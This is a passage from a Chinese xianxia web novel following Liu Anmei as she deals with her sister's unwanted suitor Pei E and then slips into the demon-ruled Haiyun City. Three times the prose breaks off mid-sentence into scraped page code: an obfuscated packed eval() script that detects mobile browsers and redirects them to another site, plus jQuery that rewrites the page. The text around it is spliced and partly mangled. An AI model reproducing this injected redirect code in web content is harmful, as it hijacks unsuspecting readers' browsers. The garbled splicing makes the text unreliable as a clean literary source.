她平时会拿复制来的法宝去跟炼丹的师兄妹们换一些助自己修为大涨的丹药,反正吃了无害,她便经常吃,修为也刹不住车地上涨。 恰如此刻。 她一袭白衫清冷出尘,腰间的绶带勾勒出纤细腰肢,乌发间简单地簪着一个素银发钗,清风拂过吹起她一缕青丝,美若仙子入凡尘。 她微微眨眼,抬手把发丝拢在耳后,露出耳垂上挂着的翠色坠子。 她嘴角挂着浅笑,温声软语地在跟面前的男子说着话。 “沧南师兄,我来换丹药。” 被她叫做师兄的男子脸上泛着红晕,抬手挠挠头:“辛苦师妹跑一趟了,我刚刚在忙事情被绊住了脚,不然我肯定亲自给你送过去。” “没关系的师兄,不过是翻了几座山峰。师兄觉得不好意思的话,下次多给我一颗丹药就好了。”柳安玫掩唇轻笑,眉眼弯弯,多了几分俏皮。 “当然可以,我这次也多给师妹一颗,我现在就回去拿,你等我一下。”沧南说完,转身往回跑。 待他离开,柳安玫一人站着无聊,她抬腿走向院内,坐在一棵桃树下的石凳上等人。 “柳家妹妹,你又来找沧南了。” 闻言,柳安玫蹙了蹙眉头,她听得出来这个人的声音。 裴鹗那个下头男。 她不想理他,他的那双眼睛太恶心了,她不喜欢。 “你怎么不说话?我给你带了花。”裴鹗绕道她眼前,变戏法似的从身后拿出一束花。 柳安玫没伸手接,任由他抬着拿花的手。 两人以一个神奇的姿势停了很久。 来来往往的人见此也会多留片刻盯着他们看,时不时切切私语几声。 “他们在做什么?他们不是我们炼丹院的吧?” “我知道他们,他们是专心修炼走妖尊路线的妖,不是我们炼丹院的人。他们当时和我是同一批入山的,长得太显眼了,我很难记不住他们。” “那个裴师兄不是喜欢炼器院的安雪师姐吗?怎么给安玫师姐送花了?她们不是亲姐妹吗?” “这个裴师兄也太三心二意了吧?” “要我说不是裴师兄三心二意,我看肯定是这女的勾引裴师兄才对,你看她长得那个狐媚样,对谁都笑嘻嘻的。” 裴鹗无奈笑笑:“你看我们这就被议论了,不如你就收下吧。” 柳安玫黑沉着脸,按下想杀了他的冲动,若不是他,她能被人当猴子看吗? 7. 桥归桥,路归路 周围人议论声愈演愈烈。 柳安玫伸手拿过他手中的花,“啪”地摔在草坪上,不嫌解气的她还踩在上面碾了几下。 脸上挂着那丝温和的笑。 “谢谢,我的脚笑纳了。” “看吧我就说肯定不是安玫师姐勾引的他,我看安玫师姐都快讨厌死他了。” “我看这叫欲擒故纵,故意引他注意呢。” 不接花说是她勾引,扔了又说是她在欲擒故纵,说破天也要说她喜欢他是吧? 柳安玫眼神凌厉地扫过说话的那只黄鼠狼。 就你是吧,她记住了。 这边黄鼠狼突然感觉到一股寒凉的视线落在他身上,抬眼看到皮笑肉不笑的柳安玫正看着他时。 脚下生烟跑了。 花被踩了。 裴鹗也不恼,还一脸笑意地盯着她看,像是觉得黄鼠狼说得对。 在他的世界观里女人见到他都应该往他身上贴才对。 他才是这个世界的主角! 这种眼神让柳安玫感觉自己被一块狗皮膏药给粘上了,甩都甩不掉。 “滚!” “妹妹……” 裴鹗伸手想去拉她,还没触碰到她,手腕处便是一疼。 一把突如其来的长剑剑锋在他手腕上漂亮地打了个圈后落在地上。 他吃痛“啊”出声。 脚步不由自主地往后退了几步。 他捂着手腕,心下暗想,好他有护腕,不然他这个手算是彻底得废了。 突如其来的变故让众人纷纷侧目看向出手之人。 “是炼丹院的神秘大师兄,那个关门弟子。” 不知周围谁惊呼出声: “嘶!大师兄居然出来了。” “不去修炼,都围在这里做什么?” 那位大师兄一开口,原本乌泱泱的地方霎时间人去楼空。 可见其在炼丹院的地位。 裴鹗有些恼怒地盯着下了他面子的男子,眼底闪过一丝杀意,嘴角勉强扯出一丝微笑。 “师兄这是何意?山门没有阻止弟子之间的追求吧?” 柳安玫朝他翻了个白眼,转身弱弱地看向大师兄,只见他穿着一身素雅的白色长衫,脸上戴着的半面银色面具遮去他半张脸,露出来的半张脸冷冷清清,没什么表情。 在他身后还跟着沧南。 沧南看到她,“嘿嘿”地笑了一声。 柳安玫迎上前,礼貌地面具师兄笑笑。 后又不动声色地往他身后躲。 天知道她又多烦这个裴鹗。 面具男子察觉到她的动作,微微侧身,完全遮挡着裴鹗紧紧跟随柳安玫的目光。 他淡淡开口:“她不喜欢你,你看不出来吗?” “你管好自己的炼丹炉就行了,你管我喜欢谁?感情都是要培养的。我相信只要我心诚,总会有水滴石穿的那天。” 大抵是自信惯了,裴鹗根本没看出来她的不喜。 以他的这副外貌,他觉得是个人都会前仆后继地喜欢他。 “裴鹗。”一道清冷的声音从院外传来。 来人是柳安雪。 有人告诉她,裴鹗在炼丹院里追求她妹妹,她便跑了过来。 裴鹗回头看到来人,语气染上了些他自己都未曾察觉到的不耐烦: “安雪,你怎么过来了?怎么不在炼器院待着?” 柳安玫见到来人,小跑地朝安雪跑了过去。打心底更恨裴鹗了。 这下他们的关系倒成了剪不清理还乱了。 她一定要趁这个机会让姐姐早早和这个狗男人断开。 思及此,她拿着一方帕子,擦去眼上不存在的泪珠:“姐姐,你知道的我不喜欢他,他还一直纠缠着我不放。他约我出去吃茶,我不愿,他还想杀我,你看地上那把剑就是他的,若不是有大师兄和沧南师兄及时出现,你怕是都见不到我了。” 柳安雪寻着她的话看过去,地上确确实实有一把剑。 她顿时气极,冷声道:“裴鹗!你愈发过分了,我已隐忍你多年,这些年你把我当作瞎子,光明正大在我面前放荡地看着师姐师妹们,我都忍了。如今你还想动我妹妹,你活腻歪了是吧?” 裴鹗急了,他相信这次柳安雪是真的生气了。 他的双手不停地摇摆着:“不是这样的,雪儿,你听我说,这把剑不是我的,是大师兄他拿剑伤我的。我的手现在都疼着呢,雪儿~你别生气,你帮我吹吹好不好?” 柳安玫:“裴公子,你的手摆那么用力,不像是伤了手的人吧?” 闻听此言,裴鹗瞬间顿住双手,嘴上继续哀求:“真的雪儿你相信我。她是你妹妹我怎么会伤她呢?” “若真是你说的,大师兄为什么拿剑伤你?” “那还不是因为……”裴鹗发现后面的话更不能说,索性直接跪下,抱着柳安雪的大腿:“雪儿,你相信我,我真的没想杀她。” 柳安雪冷着脸,祭出本命长剑横在裴鹗的脖子上:“滚开,再碰我,我杀了你。” 她的剑叫寒霜剑和据说是大夫人娘家带回来的,她见到这把剑的时候就爱不释手,就连睡觉都抱着。 此刻剑身释放的森森寒意激得裴鹗寒毛直竖。 他不可置信地松开了抱着她的大腿:“雪…雪儿,你不要我了吗?” “姐姐,你信我,真的是他要害我。”柳安玫泪珠擦不净似的,一直在往下流。 “柳安玫,你见不得我好是吧?姑奶奶,你快闭嘴吧!”裴鹗这下是真的急了,口不择言,连姑奶奶都说出了口。 柳安玫擦泪的手一僵,这熟悉的口音。 !!! 这本书到底有多少人是穿越的? 她现在怀疑她是不是搞错书了?这些剧情完完全全都跟那本种马小说对不上。 难道她穿到了别的书里? 那更不对了,只有《穿越之废材逆袭,美女都爱我》才符合这个世界设定。 “啪”的一声响亮的耳光声拉回了她的思绪。 柳安雪给了裴鹗一巴掌,用力之大,使得对方头都歪了,白皙的脸上瞬间肿了一个巴掌印。 柳安玫再次发愣:“……”真,真下手了。 最开始他们在一起的时候她就惊奇,她姐姐不应该和男主在一起吗? 但最后反应过来,剧情好像因为她的到来全部都乱了套,也就释然了。 如今打都打了,分开了也好。 柳安雪冷冷道:“从此以后我们桥归桥,路归路,山水永不相逢。” 她决绝地转身离开,背影清冷孤傲,好似这才是本来的她。 裴鹗也慌了,下意识说出:“不对,这不对。” 他内心疯狂叫嚷着系统:【系统你给我出来。】 【宿主,我知道了。大概是穿越失败我们强行留在这个世界的后果。】 【那现在怎么办?是你的失误带我没有穿越成功。现在你必须给我解决,我要美女!我要把柳安玫和柳安雪这对姐妹给关在一个房间里,特别是柳安玫那个死绿茶,我要当着柳安雪的面虐待她,她不是疼她的妹妹吗?那我就亲眼让她看我是怎么对待她妹妹的。】 【抱歉宿主,您可以选择多做任务获得积分换取任务任务道具,我会帮助你的。】 柳安玫看着面前又哭又笑的裴鹗,默默退后一步离他远了些。 生怕他发癫杀了自己。 最开始她以为是普信男穿越过来了,看到现在她觉得是个疯子穿越过来的。 裴鹗突然又变得很正常,他阴测测地看了柳安玫一眼,眼里闪着势在必得的光,后又拔腿去追柳安雪。 柳安玫没有跟上去。 感情上的事情,她这个外人不好插手。 若是裴鹗气急败坏想动手,她也不担心,她姐姐身上还有几个她给的护身法宝。 不知道什么时候,炼丹院的那位大师兄已经站在了她的身边:“小心他,他有点不对。” “我知道,谢谢啦大师兄,之前怎么没见过你,你叫什么名字?” “杜妄。” 他身旁的沧南接话道:“我师兄来了我们山上之后就一直都在闭关,所以整个山门知道他的少之又少,恰巧今日出关,被你遇到了。” 柳安玫若 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471430|201503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有所思地当着杜妄本人的面,打听着关于他的事情道:“那杜妄师兄他炼丹是不是比你厉害?” 沧南不好意思地挠挠头,嘿嘿笑道:“是比我厉害,我现在一千枚丹药里顶多练出十枚中阶丹药,师兄他一千枚丹药里面至少能练出一百枚中阶还有五枚高阶,厉害吧?” “厉害。”柳安玫惊叹地看看他师兄又看看他,问:“那他后面还会闭关吗?” “不……” 知道两字还没说出口他就被截断了话。 杜妄:“不闭关。” 套到话的柳安玫撩了下头发,面上挂着温和的笑,方才流过泪的眼眶泛着粉红,给她增添了几分柔媚感。偏她个人不知,语气柔和像是要把人融在水里,她道:“沧南师兄我们交换一下丹药和法宝。时间不早了,我要先走了。” 沧南看着她,脸又红了。他一拍脑袋,差点把这事给忘了:“这几瓶是中阶的,都是能祝你提升妖力的。还有这瓶是高阶的,是驻颜丹,能保持你最美的状态三百年,偷偷告诉你这个是师兄赠你的。” 杜妄撇了眼他:“……” 这是哪门子的偷偷的? 柳安玫盈盈一笑:“谢谢杜妄师兄、沧南师兄,师兄们以后若是有事,师妹必定挺身而出!” 她此行以为能多获得一颗中阶丹药便是最好的,没想到杜妄那么大方,随手一挥就是高阶丹药。 看来以后买酒就不能只买沧南一个人的了。 —— “轰隆隆——” “哗——” 一阵惊雷挟着暴雨突来,已经到了自己屋子里的柳安玫从书案前起身去关门窗。 一场春雨一场寒,如今已出冬日,一场雨降下来居然还是有点冷,平日里她都有些畏寒,常常吃一颗暖身的丹药后,还会抱一个汤婆子暖身体。 好在现在还不是很冷,只是些能让人起鸡皮疙瘩的小寒。 重新坐回书案前,她手指转了转毛笔,写下几个字:姐姐不生气丹药。 她把字条贴在一个香囊上,打算明天把这些丹药送给她姐姐,庆祝她重获新生。 其中有今天刚得的高阶驻颜丹和几个中阶丹药。 搞完一切,她疲惫地躺在榻上,眯了会儿眼睛后又猛地睁开。 联系一下廖锦吧。 想着她从储物袋中拿出一张传讯符:“廖锦哥哥,你在吗?” 传讯符一符分两个,若是将另一个给了对方,对方可以随时接受千里传音或留音。 她上次走之前给廖锦留下的储物袋里就有很多张传讯符。 “……” “廖……” “我在,刚刚在沐浴。” 谁问你这个了? “你现在过得怎么样?玫玫快过不下去了。” “……” 对方良久沉默。 柳安玫翻了个身,为难道:“自从你走后,我来了衢都你老家,我发现这里每处地方消费都很高,祖父每月月例只给我三千妖币,买两个保护自己的法宝就没了。玫玫长大了,爱美了,再买些衣裙就没钱了。我想说廖锦哥哥你若是现在发达了,能不能兑现一下我们当初的誓言第三项,三个高阶法宝。当然,我不是现在就要三个,一个也可以,我不想让你为难,也是想了许久,实在是过不下去了才找你要的。” 廖锦:“……” 最后的那些话才是她想说的吧。 “你睡下了吗?” “没有。” “廖锦哥哥是不愿意对吗?” “愿意。” “廖锦哥哥你在哪里?玫玫明日去找你拿。” “明日不行,三日后吧。” “好,廖锦哥哥吾危难已,辛得汝救,难报此恩,当……” 后面的话还没说完她手中的符纸便消失了,显然是对方挂断了她的传讯符。 “……” 不礼貌,挂断电话也不知道提前通知一声。 要到法宝,柳安玫心情愉快地入眠,睡前臆想着的是拿高阶法宝换高阶丹药。 日积月累的话,她离区区妖尊也不过小小一个门槛。 8. 海云城(1) “咚——” “咚——” 雄浑的钟声每日都会在这个点响起,准时准点驱散她的睡意。 柳安玫拉过被褥遮盖住整个脑袋。 不想醒,不想起。 想睡觉,每天都睡不够。 都十多年了,她还是没习惯大早上起床去练一套静心咒。 一刻钟时间过去,柳安玫才从床上爬起洗漱,在系衣带时频频蹙眉。 以往每到这个时候她姐姐都会亲自来叫她,同她一起到山门广场那边修炼静心咒。 今日怎么没来? 该不会出什么事情了吧。 思及此,她手指翻动,飞快系上衣带,拿上给安雪准备的丹药后出了门。 来到山门广场,那里整齐划一站着一排排弟子。 山门可能是碍于经济原因并没有规定所有人穿着同样的衣服,有些妖还喜欢显露自己的特征,比如化形一半,半人形半妖。 因此虽队形整齐,但是看起来依旧很不美观。 她仔细看了看,里面没有她姐姐。 柳安玫调头打算回去,去她的卧房找一下。 谁成想,人群中的裴鹗看到她后,也悄悄退了出去。 “你姐姐呢?”裴鹗追上柳安玫,问道。 “我姐姐她不要你了,你看不出来吗?” “只不过是闹了别扭,我哄一哄她便是。” “那你昨日有哄好她吗?”柳安玫抱着胳膊斜视他。 “额......”他昨天去追她时,连对方的人影都没有见到。平日里也没见她跑得那么快。 柳安玫不知怎么的,越看他越烦,袖中拳头紧握。 下一刻,不管了忍不了了。 只见她祭出长剑,朝他劈去。 她边劈边说道:“我姐姐话已经说的很明白,桥归桥,路归路,你别死皮赖脸缠上来。” 裴鹗也想祭剑打回去,奈何对方妖力比他高出一个阶级,打得他毫无还手之力。 只得狼狈逃窜。 “我做错了什么,男子三妻四妾不是常理吗?就连你爹不也是有两位夫人。热爱时谁不会说些甜言蜜语,偏你姐姐就信了我说的只钟情她一人。” 回答他的是一道凛冽的剑锋,擦着他的胳膊划了过去,鲜血顿时浸透他的浅色衣衫,彼时他发丝凌乱,活像一个疯子,不复端庄姿态。 他忙伸手捂着伤口出,开口便骂:“你他妈来真的!” 回答他的依旧是一把剑,一把横在他脖子上的剑。 裴鹗咽咽口水,伸缩自如地果断道:“对不起,我错了。我他妈该死。” 柳安玫这是第一次仗着妖力砍人,体验感满分。 “跪下,朝着我姐姐住的地方磕满一千个头我就饶了你。” “什么?一千个?” 柳安玫长剑往他脖子上送了送。 “我磕。”裴鹗能伸能缩,当即就磕。 柳安玫拿着剑,剑身随着他跪下去的动作往下。恰巧,她余光瞟到偷偷躲在树后的沧南。 嘴角微微扬起一抹笑,若不是此时她拿着剑胁迫人,那笑容当真是天真可爱。 “沧南师兄。” 沧南摸着头出场,朝她走了过去;“嘿嘿,师妹,我到处走走。” 柳安玫可不信他的鬼话,这个时间段他不去广场练清心咒,来这边干嘛。 “那师兄你来帮我个忙。”她说道。 “当然可以,裴师弟好有雅兴,这是在做什么?”看完了整场戏的沧南明知故问道。 “他非要给我姐姐磕头赎罪,我拦不住。他要磕一千个,我还有事,你帮我数着。” 沧南顺其自然地接过她递来的剑,后看着立马就要走的人问。 “师妹你去哪里?” 柳安玫背着他,摆摆手:“沧南师兄,我有些私事要处理。再会。” 柳安玫回到姐姐的卧房后,一眼便看到了放在桌案上的纸条。 上面赫然写着【安玫,我下山了,如果我没回来,你想找我,可以拿着狼族信物去延安堂问问。】 她突然后悔没多留些传讯符给她姐姐,若是给了,也不至于找这个找那个。 事不宜迟,柳安玫转身回去收拾行囊,潇洒地御剑下了山。 出入山门都有看山门的弟子守着,他们负责登记来往弟子的名单。 “安玫师姐,下山啊!这次要下去几天?” 柳安玫常拿复制来的法宝去山下卖,一来一回和他们也熟络了起来。 “不太确定,你报得久一点。” “好嘞,一帆风顺安玫师姐。” —— 衢都,东街。 延安堂,一个分部开遍四界的店,老板消息灵通,掌握着众多不为人知事情。 她祖父之前救过他们店的一个店小二,所以他们一直记着她祖父的恩,这么多年简单的消息只要他们开口问,店长就会说。 此刻,一白衣少女拿着一块刻着柳的玉佩放在老板的面前,问道:“老板,打听一下柳安雪在哪里?” 老板拿过玉佩,仔细看了眼上面繁琐的纹路,粗糙布满老茧的手在上面摩擦了几下。 核对没有问题,他把玉佩推了回去,笑道:“她跟一位姑娘去了海云城,那地方离衢都可远着呢。” “远不远的没关系,有没有地图?”她有点路痴,在前世她拿着手机导航都要在原地先转一圈才知道怎么走。 那么远的地方,如果没有地图,单是问路,她怕都是要找十天半个月才能找到。 “这个当然有。” “多少钱?” “不要钱。你改天替我给妖尊问个好,这就够了。” 柳安玫倒不强求,礼貌道谢。 老板弯腰在桌子下面翻找着。 良久,找出一个落了灰的图纸打开,接着用毛笔在图纸上划了两个圈。 他指着其中一处地方,道:“这里是我们现在在的衢都,翻过几座山就是靠近人界的地方,届时再往前翻几座山就到了人界海云城。” 柳安玫蹙了蹙眉:“怎么那么远?带她走的姑娘是普通人吗?” “是个普通人。”说罢,老板嗫嚅着嘴,像是思索着什么,最后心一横,说道:“我多说几句,海云城这个地方乱。前段时间不知怎的,这地方归了我们三皇子接管,自从三皇子接管后,频频出事,总之你找到你姐姐就赶紧回来,不该管的闲事不要管。” 柳安玫没想过他会提醒那么多,不由得发至内心感谢:“谢谢你说的这些,我会注意的。” 老板点点头,挥挥手:“走吧。” 柳安玫拿着地图,跟着图上的标志御剑飞行。 饿了就停下来买根胡萝卜和馕饼做干粮。 倒没有特别急,起码她现在知道她姐姐是安全的,毕竟带走她的是个普通人。 话说三皇子一个妖管着凡人的地界,还把那地方管得乱七八糟,真的不会有修士去砍他吗? —— 人界。 海云城。 黑云压城,妖兽称霸,普通人被逼得躲在家中不敢出门。 若有人问当地的修士去了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471431|201503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哪?那自然是修士与之同伙作恶,拱手相让海云城。 百姓苦不堪言,朝廷又不管。彻底的放弃了海云城。 他们不敢出门买吃的,就算有人壮着胆子去买,又会发现物价被抬得很高。 城中称霸的妖都是三皇子廖策身边有着八阶妖力的大妖。 据说最开始三皇子来这边对待百姓的态度还算和蔼,像是真心想要融入他们。 可是后来他发现,这些百姓看着他的眼里都是恐惧,他们不是真的敬重他而是怕他,私底下都在骂他是只恶妖,杀人如麻,不得好死。 也因此点燃了廖策的怒火,既然他们这么说他,不相信他。那他就按照他们说的挨个去做,这才不辜负他们对他的恶意编排。 为此,他召集了他在妖界养的大妖,全部驻扎在了海云城。 至此,百姓真正的地狱时刻来了,面对粮价的上涨他们吃不起饭,逐渐消瘦。 不仅如此廖策手下的妖还喜欢抢夺普通女人,把她们困在内院折磨至死。 百姓们但凡有一句话说的他们不爱听,直接就地斩杀,毫不留情。 倒真是映衬了他们说的杀人如麻。 海云城彻底地成为了普通人的人间炼狱。他们想跑,想出城。 廖策专门在城外设立小部队巡逻,但凡抓到逃跑的,格杀勿论。 无奈他们只能在城里等死,一边又祈求着上天能来人拯救他们。 * 海云城外的驿站里。 柳安雪和身边的姑娘李晓坐在椅子上喝茶,身旁放着裹挟着寒气的佩剑,使得周围人频频回头悄悄地看上一眼。 起初她并不会出现在这里,至于为什么会出现在这里,就要追溯到那天,她在山上打完裴鹗之后,她的意识就越来越清醒。 想起之前和裴鹗浓情蜜意相处的每一天都觉得无比恶心。正常来说,以她的性情她才不会做那些事情,但是跟他在一起的时候,她好像控制不住地会说一些让人作呕的话。 好在,她现在不会了。 摆脱了裴鹗之后,她想着到山下放松放松。 没想到遇到了李晓。 李晓是她在最初的海云城遇到的。因跟着舅舅贪玩,跑丢了,无意间跑到了海云城。当时她还是个没化形的银狼,被修士一箭射中小腿,她一瘸一拐慌忙躲在了某户人家的茅草堆里。 最后却因为失血过多晕了过去,醒来时发现是李晓救了她。 养好伤,临走时,她告知了李晓自己的住址,并跟她说若有难可随时来找她,她会帮她。 十多年过去,她来了,狼狈地来了。 当时她衣着破破烂烂,头发散乱。起初她没认出她,对方撩开头发,拿出一张纸条,上面写着李晓两个字。 她明白了,大抵是招了难。 后来她追问她发生了什么?怎么跑到了衢都,那么远,她是怎么来的? 李晓没说话,张开了嘴巴,让她看清了她被割掉只剩一半的舌头。 李晓哭了,哭得很狼狈,眼泪鼻涕一起流。手上比划着却因为表述不清而崩溃地放声大哭。 柳安雪心疼地抱着她、安慰她。 把她带入妖尊府收拾好后,给了她纸笔,让她写明白前因后果。 看着纸张上书写的内容,字字泣血,诉说着新任城主的件件恶性,她不求别的,只求能把自己的家人救出来。 柳安雪看完后,怒从心起。当即便提剑带她回了海云城。 思及此,柳安雪看向身旁神色紧张的姑娘,抬手摸了摸她的头:“放心,我会帮你的。” 9.海云城(2) “姑娘,你是去海云城吗?” 一道温和的声音传来,显然是在叫她。 柳安雪抬眸看去,来人作书生打扮,身上还背着行囊,长相俊俏,看上去却有些羸弱。 “是的,怎么了?” “是这样的姑娘,我叫云崔,前阵子进京赴考,无奈名落孙山。此行便是要回乡复读,争取来年必过。”云崔叹了口气:“但是听闻家乡出了事情,被妖怪霸占,乡亲们吃不上饭,说错一个字就要挨打丢命。我想回去但因为有守卫把守着也回不去,恰巧见姑娘身带佩剑,想来是位修士,想请求你将我带进去,我可以给姑娘银子作为报酬答谢姑娘。” 说着,他从随身挂着的荷包里拿出一粒碎银子,面上窘迫地泛了红:“只剩这些了,劳烦姑娘了,不答应也没关系的。” “我可以答应你,但是你知道那里危险为什么还要进去?” “我身上已然没了银两,在外夜宿费用太大,家里老树下我还埋了些钱,想着取回来,明年进京赶考也不会处处掣肘。”云崔头低低垂落:“如今还不知道城内的样子,我想出一些绵薄之力写文章传扬出去,如果能传入陛下耳中,想必他会带着修士救城中百姓于水火中。” 柳安雪给他倒了杯茶:“坐吧,我可以带你进去。银子你拿着,我用不上。” 书生接过茶连声道谢。 驿站外,一位穿着淡粉色衣裙的女子正抬头往里望着。 忽地她面上一喜,小跑地进了驿站。 “姐姐!” 柳安雪还没抬头就被一个温暖的怀抱给包裹住了,随之而来的还有淡淡的药香味。 知道来人后,她抬手拍了拍她的背:“辛苦你跑来了,就知道你会跟来,路上没休息好吧,累不累?” 柳安玫摇摇头道:“不累,我以为你也生我气了,我才着急追了过来。” “嗯?我生什么气?”柳安雪诧异了一瞬。 “因为裴鹗。不过我今天帮你教训他了。” 柳安雪轻轻推开她,示意她坐在旁边,抬手捏了捏她的脸,笑了笑:“那你真是想多了,我怎么会因为他生你的气?” “不生气就好,嘿嘿!”柳安玫这才看向一旁坐着的两个人:“这两位是?” 柳安雪再次抬手倒了杯茶,推至妹妹面前。 几人边喝茶边聊着这几天发生的事情。 了解到前因后果后,柳安玫愤恨地说道:“这个三皇子太可恶了,姐姐打算怎么做?” “我想进城把晓晓的家人接出来,云崔想进城拿银两,到时我们一同出来。三皇子的事情我们插不了手,只要保证他们都能出来就好。” “可是出入都有妖守着,进出都不太容易,而且要把那么多人送出来就有些难办。”云崔忧心忡忡地道。 柳安雪叹了口气,她也觉得有些难办。 “有了!到时候你们听我的就成!”柳安玫突然下定决心。她挥挥手示意几人凑近说着悄悄话。 —— 海云城外。 柳安玫拿着帕子微微遮盖住唇部,星眸闪烁,远远地望来回巡逻的妖怪,当下默念了个决,随着声音落下,她周身泛着浅浅微光,再看过去时已然变成了人畜无害的白毛兔子。 她掩盖妖气,迈着小腿,悄悄地往城门靠近。 巡逻小妖1号来回巡逻着,突然顿住,看着城门说道:“等等,我刚刚好像看到一个白色的东西溜了进去。” 巡逻小妖2号顺着他的目光看去,什么都没有。他咬咬牙,一巴掌打在小妖1号头上:“哪有什么东西?别偷懒,好好巡逻。” 多亏了他们的忽视,柳安玫成功地混了进去。 城中的景象寂静、冷清、破败,沿街商铺紧紧闭着门,有的门窗被爪子划开了个裂缝,“咻咻”地往里灌着风,发出诡异似孩童啼哭的声音。墙上染着干涸的血渍,零散有几个人在清洗,不远处还有长着熊耳的妖兽正监督着他们清扫城内混乱后遗留的残骸。 她跑过去,无意弄出了些许动静。却把正在清理垃圾的一些人吓了一跳,他们小心翼翼抬头,以为来的是位大人物,见是只兔子,他们长长地舒了口气,随即低头继续手上的活计。 死气沉沉,压抑充斥着柳安玫的内心,像是有一双无形的手挤压着她的心脏,她向来看不得这种情景。 这三皇子占了他们的地方不说,还不好好对他们,害得他们家破人亡。 这妖界要是落在他手里,绝对是人间炼狱。 柳安玫暗自叹了口气,脚下也没停,默默地靠近巡逻的妖。 在要接近他们时,她没有刻意隐藏自己的妖气。 不出所料,下一刻她就被抓了,那为首蛇妖揪着她的兔耳朵把她拎了起来与其平视。 “兔妖?谁派你来的?” 他嘴里吐着信子,褐色鳞片随着他的呼吸上下起伏。 柳安玫缩缩兔头,避免他的信子粘在自己毛发上:“没人派我来,我看这里妖气重自己就来了。” 明显他是不信的:“绑了,扔出去。再敢来,杀了。” “等等等等,我确实是有事。”兔子踢了踢腿:“你先放了我耳朵,拽得我疼死了。” 闻言,他倒是毫不客气把她仍在地面,同时还有股力量强制她化了形。 她揉着被摔疼了的屁股,红了眼眶:“疼死了。” 这会儿已经围上来了很多蛇妖,都在好奇地打量着她。 “说吧,来这里干什么的?”刚刚那只抓着她的蛇妖问道。 柳安玫如实说道:“我找三皇子殿下。” “找三皇子殿下?说!你是怎么知道这地方是三皇子在管?妖界谁告诉你的?”蛇妖起了杀意。 三皇子闹出来的那么大的事情,妖界一点风声都没有,应该是不想让人知道了坏了他的名声。 思及此,柳安玫连连摆手,生怕摆得慢了下一刻就会被丢出去:“不是不是,我之前就见过皇子殿下,我就在海云城附近修炼,时不时才去趟妖界。三皇子在海云城的时候,我远远地看过一眼,他坐在册封城主的巡游花车上,头发上簪着花,陌上人如玉,公子世无双。我知道我在三皇子殿下眼里只是个小妖,但是我还是很喜欢皇子殿下的,我看过他的当夜回去便睡不着觉了,一睡觉满脑子里想的都是他,求求你们了让我见他一面吧,不见他我会死的。” 女子单手撑地,一只手拿着不知道什么时候出现的帕子擦着泪,柔柔弱弱,眼里是化不掉的柔情,瘦弱的身姿仿佛风一吹就会倒,倒真像是痴情女子为爱默默守候。 “……” “……” 几只妖默默地互相看了一眼,不知道要怎么做。 “老大现在怎么办?” 被叫作老大的蛇妖揉揉头,这些关于情爱的东西向来让他头疼:“你最好保证你说的是真的,不然弟兄们的夜宵就是烤兔肉。” 柳安玫点点头:“千真万确。” “带去城主府,让殿下看看。” 蛇妖摆手,两只长着蛇头的妖走上前带着她走了。 路上,柳安玫频频躲着他们,惹得两只蛇妖顿住了脚步:“你干嘛?” “我……我有点怕蛇。”真的,这句保证真。 她是真的怕蛇。 “……”蛇妖吐了吐信子,打心里觉得她事多,无奈为了赶时间,还是化了人形。 柳安玫松了口气。 三人这才继续往前走。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17473870|201503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > —— 城主府内。 歌舞升平,余音袅袅,一群妖围着坐在高位上的三皇子廖策谄媚讨好。 期间有人附在他耳边低语了几句。 他摆摆手:“不见,杀了吧!” 临门一脚的柳安玫听到这句话,腿下忽地软了一下,顾不得身边跟着她的两个妖,脚下一溜烟地跑了进去。 两只蛇妖反应过来便去追她,奈何还是慢她一步。 柳安玫已经盈盈跪在了廖策面前,柔柔开口道:“殿下您不要赶小妖走,小妖自从第一次在城主大典上见到您,便久久不能忘怀,日日都想着能再见您一面,如今能见到您很是不易,您把小妖留在身边做婢女,哪怕远远地看着您小妖都愿意。” 廖策脸上没什么表情,只是淡淡地盯着跪在地上的女子。后转头看向没及时制止住她的两只蛇妖,怒道:“谁让你们放她进来的。” “殿下赎罪,小的没看住她,小的该死,小的这就把她拉下去杀了。” “扑通”一声,蛇妖重重地跪在青石砖上,身体抖若筛糠。 “没用的东西,连个人都看不住。”廖策很不高兴,他缓缓抬起手,手指间晕出黑色光芒后猛地握下,两只蛇妖顿时被炸成了血雾,只留空中漂浮着的两颗妖丹证明着他们的存在。 温热的血液洒了柳安玫一身,月白色衣衫上染了点点红梅,好不狼狈。 “……” 杀妖不眨眼,杀妖不眨眼啊! 这么看,三皇子的妖力大抵是在金丹期。 若不是她的护身法宝多,她还真不敢来。 “兔妖是吧,这两个妖丹赏你了。” 廖策指了指她身旁漂浮着的黑色珠子。 “谢…谢谢殿下,这么说殿下是愿意留下兔兔了?”柳安玫接过妖丹,油油腻腻道。 